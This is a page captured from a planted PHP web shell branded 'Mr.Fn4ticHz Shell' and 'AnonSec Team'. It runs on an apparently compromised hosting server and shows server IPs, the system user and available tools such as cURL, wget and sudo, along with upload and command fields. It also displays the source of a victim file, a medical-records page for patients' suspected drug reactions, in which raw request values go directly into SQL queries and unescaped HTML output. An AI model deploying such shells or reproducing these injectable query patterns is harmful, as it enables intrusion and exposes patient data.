Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.138.69.163
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in//edit_showpage_Suspected_Reaction.php
<?php session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include 'header.php';
include 'dashboarddocument.php';
//Code for Registration 
if(isset($_POST['signup'])) 
{ 
$sql ="UPDATE Suspected_Reaction SET Minor='$_POST[Minor]',Major='$_POST[Major]',Minor_Reaction='$_POST[Minor_Reaction]',Major_Reaction='$_POST[Major_Reaction]',Specify='$_POST[Specify]',otherAnswer='$_POST[otherAnswer]',otherAnswer_date='$_POST[otherAnswer_date]',Name_Medicine='$_POST[Name_Medicine]',Treatment_Given='$_POST[Treatment_Given]',Outcome='$_POST[Outcome]',Corrective_action='$_POST[Corrective_action]',Recovery_time='$_POST[Recovery_time]'  WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
if($qsql = mysqli_query($con,$sql))
		{
     echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
 
  }else {
    echo "Sorry, there was an error uploading your file.";
  } 
   
  
}

?>	
		 <style>
.switch {
  position: relative;
  display: inline-block;
  width: 90px;
  height: 34px;
}

.switch input {display:none;}

.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}

input:checked + .slider {
  background-color: #2ab934;
}

input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}

/*------ ADDED CSS ---------*/
.slider:after
{
 content:'No';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

input:checked + .slider:after
{  
  content:'Yes';
}



.center {
   border: 1px solid grey;
   text-align:;
}

</style>
<div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
  <form name='signup' method='POST'>
    <?php
    $sql ="SELECT * FROM Suspected_Reaction WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
<h3 align='center'>Suspected Reaction</h3>
 <table id='example2' class='table table-bordered table-hover'>
 ";
 		{
if($rs[Minor] == 'on'){
echo " <tr><td width='50%'>Minor Reaction: </td>
<td width='50%'><label class='switch'>
  <input name='Minor' type='checkbox' checked>
  <span class='slider'></span>
</label></td></tr>
<tr><td width='50%'>Minor Reaction: </td>
<td width='50%'><select name='Minor_Reaction'>         <option value='$rs[Minor_Reaction]'>$rs[Minor_Reaction]</option>        <option value='Fever'>Fever</option>     <option value='Chills'>Chills</option>     <option value='Skin_Rash'>Skin Rash</option>     <option value='Urticaria'>Urticaria</option>  <option value='Bodyache'>Bodyache</option> </select></td></tr>
";
}
else{
    echo " <tr><td width='50%'>Minor Reaction: </td>
<td width='50%'><label class='switch'>
  <input name='Minor' type='checkbox'>
  <span class='slider'></span>
</label></td></tr>
<tr><td width='50%'>Minor Reaction: </td>
<td width='50%'><select name='Minor_Reaction'>         <option value='$rs[Minor_Reaction]'>$rs[Minor_Reaction]</option>        <option value='Fever'>Fever</option>     <option value='Chills'>Chills</option>     <option value='Skin_Rash'>Skin Rash</option>     <option value='Urticaria'>Urticaria</option>  <option value='Bodyache'>Bodyache</option> </select></td></tr>
";
}
if($rs[Major] == 'on'){
echo " <tr><td width='50%'>Major Reaction: </td>
<td width='50%'><label class='switch'>
  <input name='Major' type='checkbox'>
  <span class='slider'></span>
</label><b></b></td></tr>
<tr> <td></td><td><div class='checkbox'>   <input type='radio' name='Major_Reaction' value='Death'>&nbsp; <span>Death    </span>
	</div>
    	<div class='checkbox'>	<input type='radio' name='Major_Reaction' value='Life threatening'> &nbsp; <span>Life threatening    </span>
	</div>
		<div class='checkbox'>	<input type='radio' name='Major_Reaction' value='Disability'> &nbsp;<span>Disability   </span>
	</div>	
	<div class='checkbox'>	<input type='radio' name='Major_Reaction' value='Chest pain'>&nbsp; <span>Chest pain    </span>
	</div>
		<div class='checkbox'>	<input type='radio' name='Major_Reaction' value='Loin Pain'>&nbsp; <span>Loin Pain   </span>
	</div>
	<div class='checkbox'>	<input type='radio' name='Major_Reaction' value='Breathlessness'>&nbsp; <span>Breathlessness  </span>
	</div>
		<div class='checkbox'>	<input type='radio' name='Major_Reaction' value='Decreased urine Output'>&nbsp; <span>Decreased urine Output  </span>
	</div>
	</td>
	</tr>
<tr><td>Specify </td><td><input type='text' value='$rs[Specify]' name='Specify' ></td></tr>
";
}

echo"
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Name of Medicine : </td>
<td width='50%'><input type='text' name='Name_Medicine' value='$rs[Name_Medicine]'></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Native description of Occurrence: </td>
<td width='50%'><input type='text' name='Treatment_Given' value='$rs[Treatment_Given]'></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Outcome: </td>
<td width='50%'><input type='text' name='Outcome' value='$rs[Outcome]'></td>
</tr>
 <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Corrective And Preventive Action Taken: </td>
<td width='50%'><input type='text' name='Corrective_action' value='$rs[Corrective_action]'></td>
</tr>
<tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp; Date and time of Recovery: </td>
<td width='50%'><input type='text' name='Recovery_time' value='$rs[Recovery_time]'></td>
</tr>
";
}
}
?>

</table>

<input type='submit' name='signup' value='Update'>
</div>
</form>


Anon7 - 2022
AnonSec Team